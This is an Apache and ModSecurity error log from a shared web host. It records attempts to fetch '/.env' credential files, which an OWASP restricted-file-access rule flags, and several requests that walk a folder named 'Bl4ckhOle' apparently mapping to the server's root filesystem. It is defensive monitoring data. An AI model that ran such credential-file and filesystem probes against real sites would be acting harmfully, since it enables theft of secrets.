[Fri Jul 17 09:48:59.222198 2026] [security2:error] [pid 2018768:tid 2018768] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.bostonlanka.com"] [uri "/robots.txt"] [unique_id "almtM1CBpfuYyhJ140vdFAAAAB4"]
[Fri Jul 17 09:48:59.249657 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.21:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory35/node0/memory17/node0/cpu4/"] [unique_id "almtMyRF0UOO1RzB5_840wAAAA4"]
[Fri Jul 17 09:48:59.249708 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.21:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory61/node0/memory35/node0/memory17/node0/cpu4/"] [unique_id "almtMyRF0UOO1RzB5_840wAAAA4"]
[Fri Jul 17 09:48:59.276314 2026] [security2:error] [pid 2018768:tid 2018768] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.bostonlanka.com"] [uri "/index.php"] [unique_id "almtM1CBpfuYyhJ140vdFAAAAB4"]
[Fri Jul 17 09:48:59.398144 2026] [security2:error] [pid 2050576:tid 2050576] [client 34.74.242.206:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.bostonlanka.com"] [uri "/"] [unique_id "almtM5uhBssQvDAz4zCrZwAAABI"]
[Fri Jul 17 09:48:59.398526 2026] [security2:error] [pid 2050576:tid 2050576] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.bostonlanka.com"] [uri "/"] [unique_id "almtM5uhBssQvDAz4zCrZwAAABI"]
[Fri Jul 17 09:48:59.452616 2026] [security2:error] [pid 2050576:tid 2050576] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.bostonlanka.com"] [uri "/index.php"] [unique_id "almtM5uhBssQvDAz4zCrZwAAABI"]
[Fri Jul 17 09:49:02.090104 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:53746] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:02.415375 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtNnXJZgUJ1jsEHj0shQAAABc"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:49:02.415425 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtNnXJZgUJ1jsEHj0shQAAABc"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:49:03.728919 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:07.516296 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtO1h1WDijTxd1xw5WpgAAAAc"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:49:07.516341 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtO1h1WDijTxd1xw5WpgAAAAc"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:49:12.537436 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:57382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:17.791773 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:19.062289 2026] [security2:error] [pid 2050576:tid 2050576] [client 74.7.242.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/tfab/tfab0809/vendor/symfony/http-kernel/Exception/HttpExceptionInterface.php"] [unique_id "almtR5uhBssQvDAz4zCrcAAAABI"], referer: https://ksoft.web.lk/tfab/tfab0809/vendor/symfony/http-kernel/Exception/
[Fri Jul 17 09:49:19.062347 2026] [security2:error] [pid 2050576:tid 2050576] [client 74.7.242.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/tfab/tfab0809/vendor/symfony/http-kernel/Exception/HttpExceptionInterface.php"] [unique_id "almtR5uhBssQvDAz4zCrcAAAABI"], referer: https://ksoft.web.lk/tfab/tfab0809/vendor/symfony/http-kernel/Exception/
[Fri Jul 17 09:49:25.456002 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:47780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:28.894365 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/fixtures/resources.yml"] [unique_id "almtTzsMb3am0TgkjETlAgAAAAo"]
[Fri Jul 17 09:49:28.894745 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/fixtures/resources.yml"] [unique_id "almtTzsMb3am0TgkjETlAgAAAAo"]
[Fri Jul 17 09:49:28.895068 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Tests/fixtures/resources.yml"] [unique_id "almtTzsMb3am0TgkjETlAgAAAAo"]
[Fri Jul 17 09:49:29.176671 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:47892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:29.176809 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.124:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/subsystem/devices/memory118/subsystem/devices/memory133/node0/memory2/node0/memory3/removable"] [unique_id "almtUZBVIrrUwtEhdafbLAAAAAU"]
[Fri Jul 17 09:49:29.176829 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.124:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/subsystem/devices/memory118/subsystem/devices/memory133/node0/memory2/node0/memory3/removable"] [unique_id "almtUZBVIrrUwtEhdafbLAAAAAU"]
[Fri Jul 17 09:49:29.498699 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:47906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:30.201648 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:30.294450 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/resource0_wc
[Fri Jul 17 09:49:30.659161 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:31.134201 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:31.210037 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:47954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:31.784903 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:37.679263 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:43160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:39.073137 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.278967 2026] [security2:error] [pid 2018741:tid 2018741] [client 77.83.39.119:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtW7oj0IkvhSCYadmMGwAAAAQ"]
[Fri Jul 17 09:49:39.279111 2026] [security2:error] [pid 2018741:tid 2018741] [client 77.83.39.119:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtW7oj0IkvhSCYadmMGwAAAAQ"]
[Fri Jul 17 09:49:39.279216 2026] [security2:error] [pid 2018741:tid 2018741] [client 77.83.39.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtW7oj0IkvhSCYadmMGwAAAAQ"]
[Fri Jul 17 09:49:39.279469 2026] [security2:error] [pid 2018741:tid 2018741] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtW7oj0IkvhSCYadmMGwAAAAQ"]
[Fri Jul 17 09:49:39.279864 2026] [security2:error] [pid 2018741:tid 2018741] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtW7oj0IkvhSCYadmMGwAAAAQ"]
[Fri Jul 17 09:49:39.458688 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.482993 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.614781 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.650946 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.708344 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.796934 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.850547 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.855174 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:39.890020 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:40.009712 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:40.026413 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 47.79.15.55:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/pnp/devices/00:04/driver/unbind
[Fri Jul 17 09:49:40.065319 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:40.176249 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:40.711187 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:40.803286 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:40.893162 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:41.422243 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:41.432497 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:41.556511 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:41.565297 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:46038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:41.582792 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:41.668346 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:41.700950 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almtXU_0b3nWp8txtSDHeAAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1183&page_105=1178
[Fri Jul 17 09:49:41.701000 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almtXU_0b3nWp8txtSDHeAAAAA0"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1183&page_105=1178
[Fri Jul 17 09:49:41.920539 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:46070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:43.990521 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtX3XJZgUJ1jsEHj0smwAAABc"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:49:43.990551 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtX3XJZgUJ1jsEHj0smwAAABc"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:49:44.192631 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:46132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:44.293717 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:44.664213 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:44.674562 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:44.882502 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:45.121460 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:45.135872 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 47.82.13.159:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:02/physical_node/resource3
[Fri Jul 17 09:49:45.667993 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:46.351943 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:46196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:46.393352 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46204] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:46.566662 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:46.570031 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:49.276748 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtZSRF0UOO1RzB5_847gAAAA4"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:49:49.276787 2026] [security2:error] [pid 2029579:tid 2029579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtZSRF0UOO1RzB5_847gAAAA4"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:49:50.045939 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:46362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:49:50.050767 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.259207 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.420389 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.450218 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.632203 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.722373 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.745736 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:50.983666 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:49:51.008682 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
